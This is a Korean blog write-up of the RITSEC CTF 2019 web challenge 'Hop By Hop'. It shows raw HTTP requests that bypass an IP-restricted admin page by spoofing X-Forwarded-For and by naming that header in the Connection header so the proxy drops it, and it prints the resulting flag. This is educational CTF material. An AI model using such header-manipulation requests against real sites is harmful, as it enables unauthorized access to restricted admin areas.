일 | 월 | 화 | 수 | 목 | 금 | 토 |
---|---|---|---|---|---|---|
1 | ||||||
2 | 3 | 4 | 5 | 6 | 7 | 8 |
9 | 10 | 11 | 12 | 13 | 14 | 15 |
16 | 17 | 18 | 19 | 20 | 21 | 22 |
23 | 24 | 25 | 26 | 27 | 28 |
Tags
- 버퍼오버플로우
- HackCTF
- writeup
- ctf
- reversing
- Nop Slide
- SQL Injection
- Linux
- PWN
- x64dbg
- RITSEC
- 리눅스
- termux
- Shadow 동아리
- BOF
- 뉴스클리핑
- webhacking
- 보안뉴스
- 웹해킹
- Hackerschool
- 리버싱
- NewsClipping
- Python
- ftz
- 어셈블리어
- Next.js
- requests
- CodeEngn
- buffer over flow
- RITSEC CTF 2019
Archives
- Today
- Total
Jaeseo's Information Security Story
RITSEC CTF 2019 - WriteUp - Hop By Hop 본문
Hop By Hop
문제구분 | 난이도 | 작성자 |
---|---|---|
WEB | 중 | JaeSeoKim |
문제 내용
문제 풀이
웹사이트에 접근을 해보면 메뉴에 admin 페이지 메뉴가 있습니다. 여기에 접근을 하면 아래와 같은 형태로 경고를 하면서 접근을 거부합니다.
This site is restricted to Admin Computers only!
Your incursion has been logged (10.0.0.37).
경고 IP를 보면 10.0.0.37로 사설 네트워크를 기록 하고 있는데 Proxy를 통해 전달이 되고 있는 형태로 의심이 됩니다. 한번 x-forwarded-for
를 이용하여 127.0.0.1 루프백 주소를 전달 합니다.
GET /admin HTTP/1.1
Host: ctfchallenges.ritsec.club:81
Cache-Control: max-age=0
x-forwarded-for:127.0.0.1
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/76.0.3809.146 Whale/2.6.88.19 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3
Referer: http://ctfchallenges.ritsec.club:81/
Accept-Encoding: gzip, deflate
Accept-Language: ko-KR,ko;q=0.9,en-US;q=0.8,en;q=0.7
Connection: close
This site is restricted to Admin Computers only!
Your incursion has been logged (127.0.0.1, 10.0.0.37).
위와 같이 응답이 오는 모습을 확인할 수 있습니다.
이번에는 connection
에 x-forwarded-for를 넣어 전달을 해주면 proxy를 통해 넘어갈때 proxy에서 x-forwarded-for를 사용할 것으로 예상합니다. 이것을 이용해봅니다.
GET /admin HTTP/1.1
Host: ctfchallenges.ritsec.club:81
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/76.0.3809.146 Whale/2.6.88.19 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3
Referer: http://ctfchallenges.ritsec.club:81/
Accept-Encoding: gzip, deflate
Accept-Language: ko-KR,ko;q=0.9,en-US;q=0.8,en;q=0.7
Connection: close, x-forwarded-for
Welcome
The Flag is: 2227DF03559A4C4E1173BF3565964FD3
이제 여기서 나온 MD5를 crack 해보면 아래의 결과 값이 나옵니다.
2227DF03559A4C4E1173BF3565964FD3 MD5 thegreatflag
(하지만 flag는 그냥 hash값을 넣는게 정답이었네요....... 억울해서 위는 적었습니다.)
RITSEC{2227DF03559A4C4E1173BF3565964FD3}
참고 포인트
- connection
- x-forwarded-for
- Hop-By-Hop
- Hop-Buy-Hop
'Write UP > RITSEC CTF 2019' 카테고리의 다른 글
RITSEC CTF 2019 - WriteUp - the_doge (0) | 2019.11.25 |
---|---|
RITSEC CTF 2019 - WriteUp - Our First API (0) | 2019.11.25 |
RITSEC CTF 2019 - WriteUp - Onion Layer Encoding (0) | 2019.11.25 |
RITSEC CTF 2019 - WriteUp - Crack me If You Can (0) | 2019.11.25 |
RITSEC CTF 2019 - WriteUp - 999 Bottles (0) | 2019.11.25 |
Comments